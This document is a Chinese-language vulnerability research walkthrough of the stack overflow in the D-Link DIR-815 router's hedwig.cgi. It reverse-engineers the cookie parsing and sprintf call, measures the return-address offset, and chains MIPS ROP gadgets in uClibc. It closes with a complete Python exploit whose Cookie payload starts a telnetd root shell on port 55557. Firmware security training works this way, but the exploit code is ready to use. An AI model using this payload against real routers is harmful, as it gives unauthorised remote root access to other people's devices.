dir-815
环境
Ubuntu20.04
提取固件
binwalk -Me "DIR-815 FW 1.01b14_1.01b14.bin"
寻找官方漏洞报告中的hedwig.cgi
漏洞文件,其架构是mips
myx@ubuntu:~/Desktop/iot/DIR-815$ sudo find ./ -name hedwig.cgi
./_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/web/hedwig.cgi
现文件的软链接指向了/htdocs/cgibin(软连接类似快捷方式,名字不同但指向同一地址)
所以我们就需要逆向分析cgibin这个二进制文件
yx@ubuntu:~/Desktop/iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root/htdocs/web$ ls -l
total 300
lrwxrwxrwx 1 myx myx 14 Apr 15 23:50 captcha.cgi -> /htdocs/cgibin
-rw-rw-r-- 1 myx myx 544 Sep 14 2010 check_stats.php
lrwxrwxrwx 1 myx myx 14 Apr 15 23:50 conntrack.cgi -> /htdocs/cgibin
-rw-rw-r-- 1 myx myx 327 Sep 14 2010 diagnostic.php
lrwxrwxrwx 1 myx myx 14 Apr 15 23:50 dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 myx myx 15 Apr 15 23:50 docs -> /var/htdocs/web
-rw-rw-r-- 1 myx myx 1150 Sep 14 2010 favicon.ico
lrwxrwxrwx 1 myx myx 14 Apr 15 23:50 fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 myx myx 14 Apr 15 23:50 hedwig.cgi -> /htdocs/cgibin
分析cgibin二进制文件
main函数
main
函数的最开始在匹配程序名以来调用不同的函数来实现具体功能。
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // $s0
char *v6; // $v0
int (*v8)(); // $t9
int v9; // $a0
v3 = *argv;
v6 = strrchr(*argv, 47);
if ( v6 )
v3 = v6 + 1;
if ( !strcmp(v3, "phpcgi") )
{
v8 = phpcgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "dlcfg.cgi") )
{
v8 = dlcfg_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "seama.cgi") )
{
v8 = seamacgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "fwup.cgi") )
{
v8 = fwup_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "fwupdater") )
{
v8 = fwupdater_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "session.cgi") )
{
v8 = &sessioncgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "captcha.cgi") )
{
v8 = &captchacgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "hedwig.cgi") ) //目标函数在这里
{
v8 = hedwigcgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "pigwidgeon.cgi") )
{
v8 = &pigwidgeoncgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "service.cgi") )
{
v8 = &servicecgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "ssdpcgi") )
{
v8 = ssdpcgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "soap.cgi") )
{
v8 = soapcgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "gena.cgi") )
{
v8 = genacgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "conntrack.cgi") )
{
v8 = &conntrackcgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
if ( !strcmp(v3, "hnap") )
{
v8 = &hnap_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
printf("CGI.BIN, unknown command %s\n", v3);
return 1;
}
以这段代码为例,首先根据 *argv
获取程序的名字,通过 strrchr
函数来匹配程序名中最后一个 /
出现的位置, v6+1
取的是 /
的下一个字符的地址,然后来匹配是否为 phpcgi
这个字符串, 如果是的话则跳转到 phpcgi_main
函数,整个 main
函数都是在做这个事情
v3 = *argv;
v6 = strrchr(*argv, '/');
if ( v6 )
v3 = v6 + 1;
if ( !strcmp(v3, "phpcgi") )
{
v8 = (void (__noreturn *)())phpcgi_main;
v9 = argc;
return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
}
hedwigcgi_main
int sprintf(char *str, const char *format, ...);
str:目标字符串(结果会写进这个数组里)
format:格式化字符串(和 printf 一样)
...:要插入格式字符串的变量
危险函数为sprintf,通过分析,只有reqest_mode为post才能触发
request = getenv("REQUEST_METHOD");
if ( !request )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;c
goto LABEL_25;
}
if ( strcasecmp(request, "POST") ) // 相等返回0
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
sess_get_uid函数
sess_get_uid(v4); // 提取cookie中'uid='后面的字符串存在v4 分析得出COOKIE的数据组织形式是uid=payload
获取cookie值
int __fastcall sess_get_uid(int a1)
{
int v2; // $s2
char *v3; // $v0c
int v4; // $s3
char *v5; // $s4c
int v6; // $s1
int v7; // $s0
char *v8; // $v0
int result; // $v0
v2 = sobj_new();
v4 = sobj_new();
v3 = getenv("HTTP_COOKIE");
这里对cookie进行分割存储,等号前的内容存入ptr,等号后的内容存入v4
if ( cookie == ';' ) //37行
{
v6 = 0;
}
else
{
v6 = 2;
if ( cookie != '=' )
{
sobj_add_char(v2, cookie);
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( cookie == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *cookie_ptr++);
}
判断v2里的内容是不是uid,判断通过则将v4的内容拼接到a1后面
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") )
goto LABEL_21;
LABEL_18:
++cookie_ptr;
}
}c
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
v8 = sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
v8 = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, v8);
if ( v2 )
result = (sobj_del)(v2);
if ( v4 )
result = (sobj_del)(v4);
return result;
}
sprintf
我们继续往下走,发现有2个sprintf函数,两次sprintf都可以造成栈溢出漏洞,这里我们要利用的是第二次sprintf
两次sprintf前后string和v20都是sobj_get_string(v4);,v4在此期间并未改变过,跟据分析我们知道v4为cookie中”uid=“后的内容,我们是可以自己控制其内容的
1
sess_get_uid(v4); // 提取cookie中'uid='后面的字符串存在v4
cookie = sobj_get_string(v4);
sprintf(str, "%s/%s/postxml", "/runtime/session", cookie);// 第一个溢出点
2
v20 = sobj_get_string(v4);
sprintf(str, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
这里str的栈空间为1024,而cookie的长度没有限制,我们就可以通过控制v4达到栈溢出的效果
char str[1024]; // [sp+C0h] [-400h] BYREF
漏洞利用
Firemae仿真路由器
测试能否仿真成功 sudo ./run.sh -c +固件品牌 +固件文件名
进入仿真调试模式 sudo ./run.sh -d +固件品牌 +固件文件名
myx@ubuntu:/opt/tools/FirmAE$ sudo ./run.sh -d Dlink /home/myx/Desktop/iot/DIR-815/DIR-815_FW_1.01b14.bin
先2连接shell,
echo "0" >> /proc/sys/kernel/randomize_va_space 关地址随机化然后退出shell,
再浏览器访问192.168.0.1,最后4启动gdbserver
gdb动态调试
gdb-multiarch
#然后gdb内
set architecture mips
set follow-fork-mode child #如果程序调用了 fork() 或 vfork(),GDB 会跟踪子进程,而不是父进程。
set detach-on-fork off #默认情况下,如果程序 fork() 了,GDB 只会调试你选择的那一个进程,自动让另一个进程“脱离调试”。这条命令的作用是:不要自动 detach 掉另一个进程,两个进程都保持被 GDB 附着(即便只调试其中一个,也能随时切换)。
target remote 192.168.0.1:1337
b sprintf
#直接c到加载新库来到cgibin,再c2次就开始单步调试
接下来我们在开启一个终端去发送poc,gdb就可以进行下一步调试了
确定返回地址偏移
漏洞为栈溢出,那么我们第一步就是去测试他的偏移值,这里我们利用pwntools里的cyclic
find_offset.py
import requests
from pwn import *
# 目标地址
url = "http://192.168.0.1/hedwig.cgi"
# 构造 payload
payload = cyclic(0x500).decode()
# 请求头
headers = {
'Content-Length': '21', # 注意:requests 会自动计算实际长度,但你也可以保留它
'Accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': f'uid={payload}',
'Content-Type': 'application/x-www-form-urlencoded'
}
# 请求体
data = "password=123&uid=3Rd4"
# 发送 POST 请求
response = requests.post(url, headers=headers, data=data)
# 打印响应状态码和内容
print(response.status_code, response.text)
两次finish
确定偏移为1003+4=1007,即ra位置
myx@ubuntu:~/Desktop/iot/DIR-815$ python3
Python 3.8.10 (default, Mar 18 2025, 20:04:55)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> cyclic(0x500)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaam'
>>> cyclic_find('kbaa') #返回地址ra的上1位
1003
>>> cyclic_find('jsaa') #s0
971
>>> cyclic_find('jtaa') #s1
975
构造rop链
路由器里面是开启了telentd服务的,我们只需要执行system(telentd)就可以getshell,函数调用规则时说过,前四个参数分别在a0---a3里,那么第一个参数就是a0了
mips_rop插件找gadget
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x400000 0x41c000 r-xp 1c000 0 /htdocs/cgibin
0x42c000 0x42d000 rw-p 1000 1c000 /htdocs/cgibin
0x42d000 0x430000 rwxp 3000 0 [heap]
0x778aa000 0x77908000 r-xp 5e000 0 /lib/libuClibc-0.9.30.1.so
0x77908000 0x77917000 ---p f000 0 [anon_77908]
0x77917000 0x77918000 r--p 1000 5d000 /lib/libuClibc-0.9.30.1.so
0x77918000 0x77919000 rw-p 1000 5e000 /lib/libuClibc-0.9.30.1.so
0x77919000 0x7791e000 rw-p 5000 0 [anon_77919]
0x7791e000 0x77947000 r-xp 29000 0 /lib/libgcc_s.so.1
0x77947000 0x77957000 ---p 10000 0 [anon_77947]
0x77957000 0x77958000 rw-p 1000 29000 /lib/libgcc_s.so.1
0x77958000 0x7795d000 r-xp 5000 0 /lib/ld-uClibc-0.9.30.1.so
0x7796a000 0x7796b000 rw-p 1000 0 [anon_7796a]
0x7796b000 0x7796c000 r-xp 1000 0 [vdso]
0x7796c000 0x7796d000 r--p 1000 4000 /lib/ld-uClibc-0.9.30.1.so
0x7796d000 0x7796e000 rw-p 1000 5000 /lib/ld-uClibc-0.9.30.1.so
0x7fba3000 0x7fbc4000 rwxp 21000 0 [stack]
#libc基地址为0x778aa000,动态链接库是/lib/libuClibc-0.9.30.1.so。我们去链接库找gadget
#但在相应路径没有此库,
rwxrwxrwx 1 myx myx 21 Apr 24 00:10 libc.so.0 -> libuClibc-0.9.30.1.so
#发现是有个链接,所以实际库是libc.so.0,因为符号链接的原因不能直接从虚拟机复制到主机,共享文件夹用如下命令
sudo cp -aL squashfs-root /mnt/hgfs/share/
ida界面点击:search>mips rop gadgets
之后在下面python输入框输入
mipsrop.find("") #这样就显示所有gadgets,如果具体查找在输入具体的吧
mipsrop.find("jr")
根据《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system
函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system
地址恢复,因此我们查找addiu $s0,1
指令,选用gadgets:0x000158C8
流水线机制
由于现代处理器采用流水线执行指令的方式,在执行jalr指令时,下一条指令可能已经被预取和解码,并开始执行。因此,即使jalr指令改变了程序计数器的值,下一条指令也可能在当前指令被执行的同时开始执行。
也就是说,执行jalr的同时,下一个指令也会执行。
addiu rd, rs, immediate: 将寄存器 `rs` 中的值与一个立即数(`immediate`)相加,并将结果存入目标寄存器 `rd` 中。
Python>mipsrop.find("addiu .*,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00012E60 | addiu $s2,1 | jalr $s6 |
| 0x000158C8 | addiu $s0,1 | jalr $s5 |
| 0x000158D0 | addiu $s0,1 | jalr $s5 |
| 0x00020368 | addiu $a0,1 | jalr $s2 |
| 0x0002374C | addiu $s0,1 | jalr $fp |
| 0x0002D194 | addiu $s0,1 | jalr $s5 |
| 0x00031320 | addiu $v1,1 | jalr $s3 |
----------------------------------------------------------------------------------------------------------------
Found 27 matching gadgets
#最后选用 0x000158C8
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9 #会在跳转到$s5的同时,将s0+1,流水线机制
.text:000158D0 addiu $s0, 1 #s0变为system
.text:000158D4 sb $s7, 0($v0)
上面的gadget可以将s0赋值为system
函数地址。现在我们还需要找到给system
函数传参的gadget。mips架构前4参数在寄存器a0到a3,如果要搜将栈地址放入某个寄存器的 gadget
,可以用 mipsrop.stackfinder()
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000B814 | addiu $a1,$sp,0x15C+var_144 | jalr $s1 |
| 0x0000B830 | addiu $a1,$sp,0x15C+var_A4 | jalr $s1 |
| 0x0000DEF0 | addiu $s2,$sp,0xA0+var_90 | jalr $s4 |
| 0x00013F74 | addiu $s1,$sp,0x28+var_10 | jalr $s4 |
| 0x00014F28 | addiu $s1,$sp,0x28+var_10 | jalr $s4 |
| 0x000159CC | addiu $s5,$sp,0x14C+var_13C | jalr $s0 |
|
#最后选用 0x000159CC,因为其既可以跳转至system函数,又可以通过s5给system函数传参:
.text:000159CC addiu $s5, $sp, 0x14C+var_13C #将"telnetd"传入s5
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0 #从此开始关键,system给t9
.text:000159DC jalr $t9 ; mempcpy #流水线机制
.text:000159E0 move $a0, $s5 #把"telnetd"给a0
exp
首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址(即执行gad_to_s5),同时,s0++,变为system的地址。此时执行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,成功执行system("telnetd -l /bin/sh -p 55557")。
设置端口是担心原本的被占用了。
import http.client
from pwn import *
set("./cgibin")
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"
#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget).hex())
print(p32(gadget2).hex())
sys = libc + 0x531ff
print(p32(sys).hex())
sys_ = '\xffq\xf8w' #sys-1
gad_sp = "\xcc\x99\xf4w" #0x159cc
gad_to_s5 = "\xc8\x98\xf4w"#0x158c8
payload = cyclic(973).decode() + sys_ + "cccc" + gad_sp*7 + gad_to_s5 + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & "
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()
执行脚本后开个新shell,getshell
telnet 192.168.0.1 55557